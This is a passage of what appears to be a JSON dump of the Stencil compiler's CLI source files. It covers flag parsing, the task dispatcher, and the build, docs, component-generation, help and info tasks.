--reporters=\"jest-junit\"`\n  else if (readOnlyArrayHasStringMember(STRING_ARRAY_CLI_FLAGS, normalizedArg)) {\n    if (typeof value === 'string') {\n      if (!Array.isArray(flags[normalizedArg])) {\n        flags[normalizedArg] = [];\n      }\n\n      const targetArray = flags[normalizedArg];\n      // this is irritating, but TS doesn't know that the `!Array.isArray`\n      // check above guarantees we have an array to work with here, and it\n      // doesn't want to narrow the type of `flags[normalizedArg]`, so we need\n      // to grab a reference to that array and then `Array.isArray` that. Bah!\n      if (Array.isArray(targetArray)) {\n        targetArray.push(value);\n        flags.knownArgs.push(rawArg);\n        flags.knownArgs.push(value);\n      }\n    } else {\n      throwCLIParsingError(rawArg, 'expected a string argument but received nothing');\n    }\n  }\n\n  // We're setting a number!\n  else if (readOnlyArrayHasStringMember(NUMBER_CLI_FLAGS, normalizedArg)) {\n    if (typeof value === 'string') {\n      const parsed = parseInt(value, 10);\n\n      if (isNaN(parsed)) {\n        throwNumberParsingError(rawArg, value);\n      } else {\n        flags[normalizedArg] = parsed;\n        flags.knownArgs.push(rawArg);\n        flags.knownArgs.push(value);\n      }\n    } else {\n      throwCLIParsingError(rawArg, 'expected a number argument but received nothing');\n    }\n  }\n\n  // We're setting a value which could be either a string _or_ a number\n  else if (readOnlyArrayHasStringMember(STRING_NUMBER_CLI_FLAGS, normalizedArg)) {\n    if (typeof value === 'string') {\n      if (CLI_ARG_STRING_REGEX.test(value)) {\n        // if it matches the regex we treat it like a string\n        flags[normalizedArg] = value;\n      } else {\n        const parsed = Number(value);\n\n        if (isNaN(parsed)) {\n          // parsing didn't go so well, we gotta get out of here\n          // this is unlikely given our regex guard above\n          // but hey, this is ultimately JS so let's be safe\n          throwNumberParsingError(rawArg, value);\n        } else {\n          flags[normalizedArg] = parsed;\n        }\n      }\n      flags.knownArgs.push(rawArg);\n      flags.knownArgs.push(value);\n    } else {\n      throwCLIParsingError(rawArg, 'expected a string or a number but received nothing');\n    }\n  }\n\n  // We're setting a value which could be either a boolean _or_ a string\n  else if (readOnlyArrayHasStringMember(BOOLEAN_STRING_CLI_FLAGS, normalizedArg)) {\n    const derivedValue =\n      typeof value === 'string'\n        ? value\n          ? value // use the supplied value if it's a non-empty string\n          : false // otherwise, default to false for the empty string\n        : true; // no value was supplied, default to true\n    flags[normalizedArg] = derivedValue;\n    flags.knownArgs.push(rawArg);\n    if (typeof derivedValue === 'string' && derivedValue) {\n      flags.knownArgs.push(derivedValue);\n    }\n  }\n\n  // We're setting the log level, which can only be a set of specific string values\n  else if (readOnlyArrayHasStringMember(LOG_LEVEL_CLI_FLAGS, normalizedArg)) {\n    if (typeof value === 'string') {\n      if (isLogLevel(value)) {\n        flags[normalizedArg] = value;\n        flags.knownArgs.push(rawArg);\n        flags.knownArgs.push(value);\n      } else {\n        throwCLIParsingError(rawArg, `expected to receive a valid log level but received \"${String(value)}\"`);\n      }\n    } else {\n      throwCLIParsingError(rawArg, 'expected to receive a valid log level but received nothing');\n    }\n  } else {\n    // we haven't found this flag in any of our lists of arguments, so we\n    // should put it in our list of unknown arguments\n    flags.unknownArgs.push(rawArg);\n\n    if (typeof value === 'string') {\n      flags.unknownArgs.push(value);\n    }\n  }\n};\n\n/**\n * We use this regular expression to detect CLI parameters which\n * should be parsed as string values (as opposed to numbers) for\n * the argument types for which we support both a string and a\n * number value.\n *\n * The regex tests for the presence of at least one character which is\n * _not_ a digit (`\\d`), a period (`\\.`), or one of the characters `\"e\"`,\n * `\"E\"`, `\"+\"`, or `\"-\"` (the latter four characters are necessary to\n * support the admittedly unlikely use of scientific notation, like `\"4e+0\"`\n * for `4`).\n *\n * Thus we'll match a string like `\"50%\"`, but not a string like `\"50\"` or\n * `\"5.0\"`. If it matches a given string we conclude that the string should\n * be parsed as a string literal, rather than using `Number` to convert it\n * to a number.\n */\nconst CLI_ARG_STRING_REGEX = /[^\\d\\.Ee\\+\\-]+/g;\n\nexport const Empty = Symbol('Empty');\n\n/**\n * The result of trying to parse a CLI arg. This will be a `string` if a\n * well-formed value is present, or `Empty` to indicate that nothing was matched\n * or that the input was malformed.\n */\ntype CLIValueResult = string | typeof Empty;\n\n/**\n * A little helper which tries to parse a CLI value (as opposed to a flag) off\n * of the argument array.\n *\n * We support a variety of different argument formats for flags (as opposed to\n * values), but all of them start with `-`, so we can check the first character\n * to test whether the next token in our array of CLI arguments is a flag name\n * or a value.\n *\n * @param args an array of CLI args\n * @returns either a string result or an Empty sentinel\n */\nconst parseCLIValue = (args: string[]): CLIValueResult => {\n  // it's possible the arguments array is empty, if so, return empty\n  if (args[0] === undefined) {\n    return Empty;\n  }\n\n  // all we're concerned with here is that it does not start with `\"-\"`,\n  // which would indicate it should be parsed as a CLI flag and not a value.\n  if (!args[0].startsWith('-')) {\n    // It's not a flag, so we return the value and defer any specific parsing\n    // until later on.\n    const value = args.shift();\n    if (typeof value === 'string') {\n      return value;\n    }\n  }\n  return Empty;\n};\n\n/**\n * Parse an 'equals' argument, which is a CLI argument-value pair in the\n * format `--foobar=12` (as opposed to a space-separated format like\n * `--foobar 12`).\n *\n * To parse this we split on the `=`, returning the first part as the argument\n * name and the second part as the value. We join the value on `\"=\"` in case\n * there is another `\"=\"` in the argument.\n *\n * This function is safe to call with any arg, and can therefore be used as\n * an argument 'normalizer'. If CLI argument is not an 'equals' argument then\n * the return value will be a tuple of the original argument and an empty\n * string `\"\"` for the value.\n *\n * In code terms, if you do:\n *\n * ```ts\n * const [arg, value] = parseEqualsArg(\"--myArgument\")\n * ```\n *\n * Then `arg` will be `\"--myArgument\"` and `value` will be `\"\"`, whereas if\n * you do:\n *\n *\n * ```ts\n * const [arg, value] = parseEqualsArg(\"--myArgument=myValue\")\n * ```\n *\n * Then `arg` will be `\"--myArgument\"` and `value` will be `\"myValue\"`.\n *\n * @param arg the arg in question\n * @returns a tuple containing the arg name and the value (if present)\n */\nexport const parseEqualsArg = (arg: string): [string, CLIValueResult] => {\n  const [originalArg, ...splitSections] = arg.split('=');\n  const value = splitSections.join('=');\n\n  return [originalArg, value === '' ? Empty : value];\n};\n\n/**\n * Small helper for getting type-system-level assurance that a `string` can be\n * narrowed to a `LogLevel`\n *\n * @param maybeLogLevel the string to check\n * @returns whether this is a `LogLevel`\n */\nconst isLogLevel = (maybeLogLevel: string): maybeLogLevel is LogLevel =>\n  readOnlyArrayHasStringMember(LOG_LEVELS, maybeLogLevel);\n\n/**\n * A little helper for constructing and throwing an error message with info\n * about what went wrong\n *\n * @param flag the flag which encountered the error\n * @param message a message specific to the error which was encountered\n */\nconst throwCLIParsingError = (flag: string, message: string) => {\n  throw new Error(`when parsing CLI flag \"${flag}\": ${message}`);\n};\n\n/**\n * Throw a specific error for the situation where we ran into an issue parsing\n * a number.\n *\n * @param flag the flag for which we encountered the issue\n * @param value what we were trying to parse\n */\nconst throwNumberParsingError = (flag: string, value: string) => {\n  throwCLIParsingError(flag, `expected a number but received \"${value}\"`);\n};\n\n/**\n * A little helper to 'desugar' a flag alias, meaning expand it to its full\n * name. For instance, the alias `\"c\"` will desugar to `\"config\"`.\n *\n * If no expansion is found for the possible alias we just return the passed\n * string unmodified.\n *\n * @param maybeAlias a string which _could_ be an alias to a full flag name\n * @returns the full aliased flag name, if found, or the passed string if not\n */\nconst desugarAlias = (maybeAlias: string): string => {\n  const possiblyDesugared = CLI_FLAG_ALIASES[maybeAlias];\n\n  if (typeof possiblyDesugared === 'string') {\n    return possiblyDesugared;\n  }\n  return maybeAlias;\n};\n\n/**\n * Desugar a 'raw' alias (with a leading dash) and return an equivalent,\n * desugared argument.\n *\n * For instance, passing `\"-c` will return `\"--config\"`.\n *\n * The reason we'd like to do this is not so much for our own code, but so that\n * we can transform an alias like `\"-u\"` to `\"--updateSnapshot\"` in order to\n * pass it along to Jest.\n *\n * @param rawAlias a CLI flag alias as found on the command line (like `\"-c\"`)\n * @returns an equivalent full command (like `\"--config\"`)\n */\nconst desugarRawAlias = (rawAlias: string): string => '--' + desugarAlias(normalizeFlagName(rawAlias));\n"
  },
  {
    "path": "src/cli/public.ts",
    "content": "import type { CliInitOptions, Config, Logger, TaskCommand } from '@stencil/core/internal';\n\nimport type { ConfigFlags } from './config-flags';\n\n/**\n * Runs the CLI with the given options. This is used by Stencil's default `bin/stencil` file,\n * but can be used externally too.\n * @param init a set of initialization options needed to run Stencil from its CLI\n * @returns an empty promise\n */\nexport declare function run(init: CliInitOptions): Promise<void>;\n\n/**\n * Run individual CLI tasks.\n * @param coreCompiler The core Stencil compiler to be used. The `run()` method handles loading the core compiler, however, `runTask()` must be passed it.\n * @param config Assumes the config has already been validated and has the \"sys\" and \"logger\" properties.\n * @param task The task command to run, such as `build`.\n * @returns an empty promise\n */\nexport declare function runTask(coreCompiler: any, config: Config, task: TaskCommand): Promise<void>;\n\nexport declare function parseFlags(args: string[]): ConfigFlags;\n\nexport { Config, ConfigFlags, Logger, TaskCommand };\n"
  },
  {
    "path": "src/cli/run.ts",
    "content": "import { hasError, isFunction, result, shouldIgnoreError } from '@utils';\n\nimport type * as d from '../declarations';\nimport { ValidatedConfig } from '../declarations';\nimport { createConfigFlags } from './config-flags';\nimport { findConfig } from './find-config';\nimport { CoreCompiler, loadCoreCompiler } from './load-compiler';\nimport { loadedCompilerLog, startupLog, startupLogVersion } from './logs';\nimport { parseFlags } from './parse-flags';\nimport { taskBuild } from './task-build';\nimport { taskDocs } from './task-docs';\nimport { taskGenerate } from './task-generate';\nimport { taskHelp } from './task-help';\nimport { taskInfo } from './task-info';\nimport { taskPrerender } from './task-prerender';\nimport { taskServe } from './task-serve';\nimport { taskTelemetry } from './task-telemetry';\nimport { taskTest } from './task-test';\nimport { telemetryAction } from './telemetry/telemetry';\n\n/**\n * Main entry point for the Stencil CLI\n *\n * Take care of parsing CLI arguments, initializing various components needed\n * by the rest of the program, and kicking off the correct task (build, test,\n * etc).\n *\n * @param init initial CLI options\n * @returns an empty promise\n */\nexport const run = async (init: d.CliInitOptions) => {\n  const { args, logger, sys } = init;\n\n  try {\n    const flags = parseFlags(args);\n    const task = flags.task;\n\n    if (flags.debug || flags.verbose) {\n      logger.setLevel('debug');\n    }\n\n    if (flags.ci) {\n      logger.enableColors(false);\n    }\n\n    if (isFunction(sys.applyGlobalPatch)) {\n      sys.applyGlobalPatch(sys.getCurrentDirectory());\n    }\n\n    if ((task && task === 'version') || flags.version) {\n      // we need to load the compiler here to get the version, but we don't\n      // want to load it in the case that we're going to just log the help\n      // message and then exit below (if there's no `task` defined) so we load\n      // it just within our `if` scope here.\n      const coreCompiler = await loadCoreCompiler(sys);\n      console.log(coreCompiler.version);\n      return;\n    }\n\n    if (!task || task === 'help' || flags.help) {\n      await taskHelp(createConfigFlags({ task: 'help', args }), logger, sys);\n\n      return;\n    }\n\n    startupLog(logger, task);\n\n    const findConfigResults = await findConfig({ sys, configPath: flags.config });\n    if (findConfigResults.isErr) {\n      logger.printDiagnostics(findConfigResults.value);\n      return sys.exit(1);\n    }\n\n    const coreCompiler = await loadCoreCompiler(sys);\n\n    startupLogVersion(logger, task, coreCompiler);\n\n    loadedCompilerLog(sys, logger, flags, coreCompiler);\n\n    if (task === 'info') {\n      taskInfo(coreCompiler, sys, logger);\n      return;\n    }\n\n    const foundConfig = result.unwrap(findConfigResults);\n    const validated = await coreCompiler.loadConfig({\n      config: {\n        flags,\n      },\n      configPath: foundConfig.configPath,\n      logger,\n      sys,\n    });\n\n    if (validated.diagnostics.length > 0) {\n      logger.printDiagnostics(validated.diagnostics);\n      if (hasError(validated.diagnostics)) {\n        return sys.exit(1);\n      }\n    }\n\n    if (isFunction(sys.applyGlobalPatch)) {\n      sys.applyGlobalPatch(validated.config.rootDir);\n    }\n\n    await telemetryAction(sys, validated.config, coreCompiler, async () => {\n      await runTask(coreCompiler, validated.config, task, sys);\n    });\n  } catch (e) {\n    if (!shouldIgnoreError(e)) {\n      const details = `${logger.getLevel() === 'debug' && e instanceof Error ? e.stack : ''}`;\n      logger.error(`uncaught cli error: ${e}${details}`);\n      return sys.exit(1);\n    }\n  }\n};\n\n/**\n * Run a specified task\n *\n * @param coreCompiler an instance of a minimal, bootstrap compiler for running the specified task\n * @param config a configuration for the Stencil project to apply to the task run\n * @param task the task to run\n * @param sys the {@link d.CompilerSystem} for interacting with the operating system\n * @public\n * @returns a void promise\n */\nexport const runTask = async (\n  coreCompiler: CoreCompiler,\n  config: d.Config,\n  task: d.TaskCommand,\n  sys: d.CompilerSystem,\n): Promise<void> => {\n  const flags = createConfigFlags(config.flags ?? { task });\n  config.flags = flags;\n\n  if (!config.sys) {\n    config.sys = sys;\n  }\n  const strictConfig: ValidatedConfig = coreCompiler.validateConfig(config, {}).config;\n\n  switch (task) {\n    case 'build':\n      await taskBuild(coreCompiler, strictConfig);\n      break;\n\n    case 'docs':\n      await taskDocs(coreCompiler, strictConfig);\n      break;\n\n    case 'generate':\n    case 'g':\n      await taskGenerate(strictConfig);\n      break;\n\n    case 'help':\n      await taskHelp(strictConfig.flags, strictConfig.logger, sys);\n      break;\n\n    case 'prerender':\n      await taskPrerender(coreCompiler, strictConfig);\n      break;\n\n    case 'serve':\n      await taskServe(strictConfig);\n      break;\n\n    case 'telemetry':\n      await taskTelemetry(strictConfig.flags, sys, strictConfig.logger);\n      break;\n\n    case 'test':\n      await taskTest(strictConfig);\n      break;\n\n    case 'version':\n      console.log(coreCompiler.version);\n      break;\n\n    default:\n      strictConfig.logger.error(\n        `${strictConfig.logger.emoji('❌ ')}Invalid stencil command, please see the options below:`,\n      );\n      await taskHelp(strictConfig.flags, strictConfig.logger, sys);\n      return config.sys.exit(1);\n  }\n};\n"
  },
  {
    "path": "src/cli/task-build.ts",
    "content": "import type * as d from '../declarations';\nimport { printCheckVersionResults, startCheckVersion } from './check-version';\nimport type { CoreCompiler } from './load-compiler';\nimport { startupCompilerLog } from './logs';\nimport { runPrerenderTask } from './task-prerender';\nimport { taskWatch } from './task-watch';\nimport { telemetryBuildFinishedAction } from './telemetry/telemetry';\n\nexport const taskBuild = async (coreCompiler: CoreCompiler, config: d.ValidatedConfig) => {\n  if (config.flags.watch) {\n    // watch build\n    await taskWatch(coreCompiler, config);\n    return;\n  }\n\n  // one-time build\n  let exitCode = 0;\n\n  try {\n    startupCompilerLog(coreCompiler, config);\n\n    const versionChecker = startCheckVersion(config, coreCompiler.version);\n\n    const compiler = await coreCompiler.createCompiler(config);\n    const results = await compiler.build();\n\n    await telemetryBuildFinishedAction(config.sys, config, coreCompiler, results);\n\n    await compiler.destroy();\n\n    if (results.hasError) {\n      exitCode = 1;\n    } else if (config.flags.prerender) {\n      const prerenderDiagnostics = await runPrerenderTask(\n        coreCompiler,\n        config,\n        results.hydrateAppFilePath,\n        results.componentGraph,\n        undefined,\n      );\n      config.logger.printDiagnostics(prerenderDiagnostics);\n\n      if (prerenderDiagnostics.some((d) => d.level === 'error')) {\n        exitCode = 1;\n      }\n    }\n\n    await printCheckVersionResults(versionChecker);\n  } catch (e) {\n    exitCode = 1;\n    config.logger.error(e);\n  }\n\n  if (exitCode > 0) {\n    return config.sys.exit(exitCode);\n  }\n};\n"
  },
  {
    "path": "src/cli/task-docs.ts",
    "content": "import { isOutputTargetDocs } from '@utils';\n\nimport type { ValidatedConfig } from '../declarations';\nimport type { CoreCompiler } from './load-compiler';\nimport { startupCompilerLog } from './logs';\n\nexport const taskDocs = async (coreCompiler: CoreCompiler, config: ValidatedConfig) => {\n  config.devServer = {};\n  config.outputTargets = config.outputTargets.filter(isOutputTargetDocs);\n  config.devMode = true;\n\n  startupCompilerLog(coreCompiler, config);\n\n  const compiler = await coreCompiler.createCompiler(config);\n  await compiler.build();\n\n  await compiler.destroy();\n};\n"
  },
  {
    "path": "src/cli/task-generate.ts",
    "content": "import { normalizePath, validateComponentTag } from '@utils';\nimport { join, parse, relative } from 'path';\n\nimport type { ValidatedConfig } from '../declarations';\n\n/**\n * Task to generate component boilerplate and write it to disk. This task can\n * cause the program to exit with an error under various circumstances, such as\n * being called in an inappropriate place, being asked to overwrite files that\n * already exist, etc.\n *\n * @param config the user-supplied config, which we need here to access `.sys`.\n * @returns a void promise\n */\nexport const taskGenerate = async (config: ValidatedConfig): Promise<void> => {\n  if (!config.configPath) {\n    config.logger.error('Please run this command in your root directory (i. e. the one containing stencil.config.ts).');\n    return config.sys.exit(1);\n  }\n\n  const absoluteSrcDir = config.srcDir;\n\n  if (!absoluteSrcDir) {\n    config.logger.error(`Stencil's srcDir was not specified.`);\n    return config.sys.exit(1);\n  }\n\n  const { prompt } = await import('prompts');\n\n  const input =\n    config.flags.unknownArgs.find((arg) => !arg.startsWith('-')) ||\n    ((await prompt({ name: 'tagName', type: 'text', message: 'Component tag name (dash-case):' })).tagName as string);\n\n  if (undefined === input) {\n    // in some shells (e.g. Windows PowerShell), hitting Ctrl+C results in a TypeError printed to the console.\n    // explicitly return here to avoid printing the error message.\n    return;\n  }\n  const { dir, base: componentName } = parse(input);\n\n  const tagError = validateComponentTag(componentName);\n  if (tagError) {\n    config.logger.error(tagError);\n    return config.sys.exit(1);\n  }\n\n  let cssExtension: GeneratableStylingExtension = 'css';\n  if (!!config.plugins.find((plugin) => plugin.name === 'sass')) {\n    cssExtension = await chooseSassExtension();\n  } else if (!!config.plugins.find((plugin) => plugin.name === 'less')) {\n    cssExtension = 'less';\n  }\n  const filesToGenerateExt = await chooseFilesToGenerate(cssExtension);\n  if (!filesToGenerateExt) {\n    // in some shells (e.g. Windows PowerShell), hitting Ctrl+C results in a TypeError printed to the console.\n    // explicitly return here to avoid printing the error message.\n    return;\n  }\n  const extensionsToGenerate: GeneratableExtension[] = ['tsx', ...filesToGenerateExt];\n  const testFolder = extensionsToGenerate.some(isTest) ? 'test' : '';\n\n  const outDir = join(absoluteSrcDir, 'components', dir, componentName);\n  await config.sys.createDir(normalizePath(join(outDir, testFolder)), { recursive: true });\n\n  const filesToGenerate: readonly BoilerplateFile[] = extensionsToGenerate.map((extension) => ({\n    extension,\n    path: getFilepathForFile(outDir, componentName, extension),\n  }));\n  await checkForOverwrite(filesToGenerate, config);\n\n  const writtenFiles = await Promise.all(\n    filesToGenerate.map((file) =>\n      getBoilerplateAndWriteFile(\n        config,\n        componentName,\n        extensionsToGenerate.includes('css') ||\n          extensionsToGenerate.includes('sass') ||\n          extensionsToGenerate.includes('scss') ||\n          extensionsToGenerate.includes('less'),\n        file,\n        cssExtension,\n      ),\n    ),\n  ).catch((error) => config.logger.error(error));\n\n  if (!writtenFiles) {\n    return config.sys.exit(1);\n  }\n\n  // We use `console.log` here rather than our `config.logger` because we don't want\n  // our TUI messages to be prefixed with timestamps and so on.\n  //\n  // See STENCIL-424 for details.\n  console.log();\n  console.log(`${config.logger.gray('$')} stencil generate ${input}`);\n  console.log();\n  console.log(config.logger.bold('The following files have been generated:'));\n\n  const absoluteRootDir = config.rootDir;\n  writtenFiles.map((file) => console.log(`  - ${relative(absoluteRootDir, file)}`));\n};\n\n/**\n * Show a checkbox prompt to select the files to be generated.\n *\n * @param cssExtension the extension of the CSS file to be generated\n * @returns a read-only array of `GeneratableExtension`, the extensions that the user has decided\n * to generate\n */\nconst chooseFilesToGenerate = async (cssExtension: string): Promise<ReadonlyArray<GeneratableExtension>> => {\n  const { prompt } = await import('prompts');\n  return (\n    await prompt({\n      name: 'filesToGenerate',\n      type: 'multiselect',\n      message: 'Which additional files do you want to generate?',\n      choices: [\n        { value: cssExtension, title: `Stylesheet (.${cssExtension})`, selected: true },\n        { value: 'spec.tsx', title: 'Spec Test  (.spec.tsx)', selected: true },\n        { value: 'e2e.ts', title: 'E2E Test (.e2e.ts)', selected: true },\n      ],\n    })\n  ).filesToGenerate;\n};\n\nconst chooseSassExtension = async () => {\n  const { prompt } = await import('prompts');\n  return (\n    await prompt({\n      name: 'sassFormat',\n      type: 'select',\n      message:\n        'Which Sass format would you like to use? (More info: https://sass-lang.com/documentation/syntax/#the-indented-syntax)',\n      choices: [\n        { value: 'sass', title: `*.sass Format`, selected: true },\n        { value: 'scss', title: '*.scss Format' },\n      ],\n    })\n  ).sassFormat;\n};\n\n/**\n * Get a filepath for a file we want to generate!\n *\n * The filepath for a given file depends on the path, the user-supplied\n * component name, the extension, and whether we're inside of a test directory.\n *\n * @param filePath      path to where we're going to generate the component\n * @param componentName the user-supplied name for the generated component\n * @param extension     the file extension\n * @returns the full filepath to the component (with a possible `test` directory\n * added)\n */\nconst getFilepathForFile = (filePath: string, componentName: string, extension: GeneratableExtension): string =>\n  isTest(extension)\n    ? normalizePath(join(filePath, 'test', `${componentName}.${extension}`))\n    : normalizePath(join(filePath, `${componentName}.${extension}`));\n\n/**\n * Get the boilerplate for a file and write it to disk\n *\n * @param config        the current config, needed for file operations\n * @param componentName the component name (user-supplied)\n * @param withCss       are we generating CSS?\n * @param file          the file we want to write\n * @param styleExtension extension used for styles\n * @returns a `Promise<string>` which holds the full filepath we've written to,\n * used to print out a little summary of our activity to the user.\n */\nconst getBoilerplateAndWriteFile = async (\n  config: ValidatedConfig,\n  componentName: string,\n  withCss: boolean,\n  file: BoilerplateFile,\n  styleExtension: GeneratableStylingExtension,\n): Promise<string> => {\n  const boilerplate = getBoilerplateByExtension(componentName, file.extension, withCss, styleExtension);\n  await config.sys.writeFile(normalizePath(file.path), boilerplate);\n  return file.path;\n};\n\n/**\n * Check to see if any of the files we plan to write already exist and would\n * therefore be overwritten if we proceed, because we'd like to not overwrite\n * people's code!\n *\n * This function will check all the filepaths and if it finds any files log an\n * error and exit with an error code. If it doesn't find anything it will just\n * peacefully return `Promise<void>`.\n *\n * @param files  the files we want to check\n * @param config the Config object, used here to get access to `sys.readFile`\n */\nconst checkForOverwrite = async (files: readonly BoilerplateFile[], config: ValidatedConfig): Promise<void> => {\n  const alreadyPresent: string[] = [];\n\n  await Promise.all(\n    files.map(async ({ path }) => {\n      if ((await config.sys.readFile(path)) !== undefined) {\n        alreadyPresent.push(path);\n      }\n    }),\n  );\n\n  if (alreadyPresent.length > 0) {\n    config.logger.error(\n      'Generating code would overwrite the following files:',\n      ...alreadyPresent.map((path) => '\\t' + normalizePath(path)),\n    );\n    await config.sys.exit(1);\n  }\n};\n\n/**\n * Check if an extension is for a test\n *\n * @param extension the extension we want to check\n * @returns a boolean indicating whether or not its a test\n */\nconst isTest = (extension: GeneratableExtension): boolean => {\n  return extension === 'e2e.ts' || extension === 'spec.tsx';\n};\n\n/**\n * Get the boilerplate for a file by its extension.\n *\n * @param tagName the name of the component we're generating\n * @param extension the file extension we want boilerplate for (.css, tsx, etc)\n * @param withCss a boolean indicating whether we're generating a CSS file\n * @param styleExtension extension used for styles\n * @returns a string container the file boilerplate for the supplied extension\n */\nexport const getBoilerplateByExtension = (\n  tagName: string,\n  extension: GeneratableExtension,\n  withCss: boolean,\n  styleExtension: GeneratableStylingExtension,\n): string => {\n  switch (extension) {\n    case 'tsx':\n      return getComponentBoilerplate(tagName, withCss, styleExtension);\n\n    case 'css':\n    case 'less':\n    case 'sass':\n    case 'scss':\n      return getStyleUrlBoilerplate(styleExtension);\n\n    case 'spec.tsx':\n      return getSpecTestBoilerplate(tagName);\n\n    case 'e2e.ts':\n      return getE2eTestBoilerplate(tagName);\n\n    default:\n      throw new Error(`Unkown extension \"${extension}\".`);\n  }\n};\n\n/**\n * Get the boilerplate for a file containing the definition of a component\n * @param tagName the name of the tag to give the component\n * @param hasStyle designates if the component has an external stylesheet or not\n * @param styleExtension extension used for styles\n * @returns the contents of a file that defines a component\n */\nconst getComponentBoilerplate = (\n  tagName: string,\n  hasStyle: boolean,\n  styleExtension: GeneratableStylingExtension,\n): string => {\n  const decorator = [`{`];\n  decorator.push(`  tag: '${tagName}',`);\n  if (hasStyle) {\n    decorator.push(`  styleUrl: '${tagName}.${styleExtension}',`);\n  }\n  decorator.push(`  shadow: true,`);\n  decorator.push(`}`);\n\n  return `import { Component, Host, h } from '@stencil/core';\n\n@Component(${decorator.join('\\n')})\nexport class ${toPascalCase(tagName)} {\n  render() {\n    return (\n      <Host>\n        <slot></slot>\n      </Host>\n    );\n  }\n}\n`;\n};\n\n/**\n * Get the boilerplate for style for a generated component\n * @param ext extension used for styles\n * @returns a boilerplate CSS block\n */\nconst getStyleUrlBoilerplate = (ext: GeneratableExtension): string =>\n  ext === 'sass'\n    ? `:host\n  display: block\n`\n    : `:host {\n  display: block;\n}\n`;\n\n/**\n * Get the boilerplate for a file containing a spec (unit) test for a component\n * @param tagName the name of the tag associated with the component under test\n * @returns the contents of a file that unit tests a component\n */\nconst getSpecTestBoilerplate = (tagName: string): string =>\n  `import { newSpecPage } from '@stencil/core/testing';\nimport { ${toPascalCase(tagName)} } from '../${tagName}';\n\ndescribe('${tagName}', () => {\n  it('renders', async () => {\n    const page = await newSpecPage({\n      components: [${toPascalCase(tagName)}],\n      html: \\`<${tagName}></${tagName}>\\`,\n    });\n    expect(page.root).toEqualHtml(\\`\n      <${tagName}>\n        <mock:shadow-root>\n          <slot></slot>\n        </mock:shadow-root>\n      </${tagName}>\n    \\`);\n  });\n});\n`;\n\n/**\n * Get the boilerplate for a file containing an end-to-end (E2E) test for a component\n * @param tagName the name of the tag associated with the component under test\n * @returns the contents of a file that E2E tests a component\n */\nconst getE2eTestBoilerplate = (tagName: string): string =>\n  `import { newE2EPage } from '@stencil/core/testing';\n\ndescribe('${tagName}', () => {\n  it('renders', async () => {\n    const page = await newE2EPage();\n    await page.setContent('<${tagName}></${tagName}>');\n\n    const element = await page.find('${tagName}');\n    expect(element).toHaveClass('hydrated');\n  });\n});\n`;\n\n/**\n * Convert a dash case string to pascal case.\n * @param str the string to convert\n * @returns the converted input as pascal case\n */\nconst toPascalCase = (str: string): string =>\n  str.split('-').reduce((res, part) => res + part[0].toUpperCase() + part.slice(1), '');\n\n/**\n * Extensions available to generate.\n */\nexport type GeneratableExtension = 'tsx' | 'spec.tsx' | 'e2e.ts' | GeneratableStylingExtension;\n\n/**\n * Extensions available to generate.\n */\nexport type GeneratableStylingExtension = 'css' | 'sass' | 'scss' | 'less';\n\n/**\n * A little interface to wrap up the info we need to pass around for generating\n * and writing boilerplate.\n */\nexport interface BoilerplateFile {\n  extension: GeneratableExtension;\n  /**\n   * The full path to the file we want to generate.\n   */\n  path: string;\n}\n"
  },
  {
    "path": "src/cli/task-help.ts",
    "content": "import type * as d from '../declarations';\nimport { ConfigFlags } from './config-flags';\nimport { taskTelemetry } from './task-telemetry';\n\n/**\n * Entrypoint for the Help task, providing Stencil usage context to the user\n * @param flags configuration flags provided to Stencil when a task was call (either this task or a task that invokes\n * telemetry)\n * @param logger a logging implementation to log the results out to the user\n * @param sys the abstraction for interfacing with the operating system\n */\nexport const taskHelp = async (flags: ConfigFlags, logger: d.Logger, sys: d.CompilerSystem): Promise<void> => {\n  const prompt = logger.dim(sys.details?.platform === 'windows' ? '>' : '$');\n\n  console.log(`\n  ${logger.bold('Build:')} ${logger.dim('Build components for development or production.')}\n\n    ${prompt} ${logger.green('stencil build [--dev] [--watch] [--prerender] [--debug]')}\n\n      ${logger.cyan('--dev')} ${logger.dim('.............')} Development build\n      ${logger.cyan('--watch')} ${logger.dim('...........')} Rebuild when files update\n      ${logger.cyan('--serve')} ${logger.dim('...........')} Start the dev-server\n      ${logger.cyan('--prerender')} ${logger.dim('.......')} Prerender the application\n      ${logger.cyan('--docs')} ${logger.dim('............')} Generate component readme.md docs\n      ${logger.cyan('--config')} ${logger.dim('..........')} Set stencil config file\n      ${logger.cyan('--stats')} ${logger.dim('...........')} Write stats, optional file path (default: stencil-stats.json)\n      ${logger.cyan('--log')} ${logger.dim('.............')} Write stencil-build.log file\n      ${logger.cyan('--debug')} ${logger.dim('...........')} Set the log level to debug\n\n\n  ${logger.bold('Test:')} ${logger.dim('Run unit and end-to-end tests.')}\n\n    ${prompt} ${logger.green('stencil test [--spec] [--e2e]')}\n\n      ${logger.cyan('--spec')} ${logger.dim('............')} Run unit tests with Jest\n      ${logger.cyan('--e2e')} ${logger.dim('.............')} Run e2e tests with Puppeteer\n\n\n  ${logger.bold('Generate:')} ${logger.dim('Bootstrap components.')}\n\n    ${prompt} ${logger.green('stencil generate')} or ${logger.green('stencil g')}\n\n`);\n\n  await taskTelemetry(flags, sys, logger);\n\n  console.log(`\n  ${logger.bold('Examples:')}\n\n  ${prompt} ${logger.green('stencil build --dev --watch --serve')}\n  ${prompt} ${logger.green('stencil build --prerender')}\n  ${prompt} ${logger.green('stencil test --spec --e2e')}\n  ${prompt} ${logger.green('stencil telemetry on')}\n  ${prompt} ${logger.green('stencil generate')}\n  ${prompt} ${logger.green('stencil g my-component')}\n`);\n};\n"
  },
  {
    "path": "src/cli/task-info.ts",
    "content": "import type { CompilerSystem, Logger } from '../declarations';\nimport type { CoreCompiler } from './load-compiler';\n\n/**\n * Generate the output for Stencils 'info' task, and log that output - `npx stencil info`\n * @param coreCompiler the compiler instance to derive certain version information from\n * @param sys the compiler system instance that provides details about the system Stencil is running on\n * @param logger the logger instance to use to log information out to\n */\nexport const taskInfo = (coreCompiler: CoreCompiler, sys: CompilerSystem, logger: Logger): void => {\n  const details = sys.details;\n  const versions = coreCompiler.versions;\n\n  console.log(``);\n  console.log(`${logger.cyan('      System:')} ${sys.name} ${sys.version}`);\n  if (details) {\n    console.log(`${logger.cyan('    Platform:')} ${details.platform} (${details.release})`);\n    console.log(\n      `${logger.cyan('   CPU Model:')} ${details.cpuModel} (${sys.hardwareConcurrency} cpu${\n        sys.hardwareConcurrency !== 1 ? 's' : ''\n      })`,\n    );\n  }\n  console.log(`${logger.cyan('    Compiler:')} ${sys.getCompilerExecutingPath()}`);\n  console.log(`${logger.cyan('       Build:')} ${coreCompiler.buildId}`);\n  console.log(`${logger.cyan('     